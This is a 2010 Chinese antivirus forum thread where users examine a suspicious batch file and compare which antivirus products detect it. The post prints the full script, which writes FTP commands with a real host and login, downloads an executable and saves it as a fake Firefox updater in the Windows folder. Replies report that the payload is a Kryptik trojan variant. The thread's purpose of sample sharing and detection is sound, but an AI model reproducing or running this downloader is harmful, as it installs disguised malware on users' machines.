批处理

显示全部楼层 · 发表于 2010-11-16 15:41:36

本帖最后由 diannao6051 于 2010-11-16 15:57 编辑

@echo off
echo open c.m1ww.com>>c:\ftp
echo 46134730>>c:\ftp
echo wgeg>>c:\ftp
echo get imgeditadmnin.exe C:\WINDOWS\fireFoxUpdater.exe>>c:\ftp
echo quit>>c:\ftp
ftp -s:c:\ftp
del c:\ftp
echo.
echo 按任意键退出!
pause >nul

复制代码

改过没有运行下载下来的C:\WINDOWS\fireFoxUpdater.exe
对这批处理也报个毒吧太猖狂了

显示全部楼层 · 发表于 2010-11-16 15:44:23

卡巴和金山都没报毒！

显示全部楼层 · 发表于 2010-11-16 15:51:07

只有BD报警呢，误报的可能性比较大吧

http://www.virustotal.com/file-s ... 0710f904-1289893508

显示全部楼层 · 发表于 2010-11-16 15:51:34

本帖最后由 diannao6051 于 2010-11-16 15:55 编辑

把这些代码弄成vbs 就报下载者
http://bbs.kafan.cn/thread-842928-1-1.html 看代码只是打开一个网址而已就报下载者..

按道理这个也要这样报啊
就是通过ftp://c.m1ww.com 用户名/密码 46134730/wgeg
下载病毒

显示全部楼层 · 发表于 2010-11-16 16:04:29

360直接报毒

显示全部楼层 · 发表于 2010-11-16 16:27:55

360网盾报毒。过VSE

显示全部楼层 · 发表于 2010-11-16 17:09:32

显示全部楼层 · 发表于 2010-11-16 17:12:15

过KV2011 & 可牛

显示全部楼层 · 发表于 2010-11-16 17:14:15

卡巴没反应啊，实机还是不试了

显示全部楼层 · 发表于 2010-11-16 17:18:07

ess kill

D:\下载文件夹\imgeditadmnin.rar > RAR > imgeditadmnin.exe > RAR > 360.exe - Win32/Kryptik.DVB 特洛伊木马的变种

[可疑文件] 批处理

本帖子中包含更多资源

本帖子中包含更多资源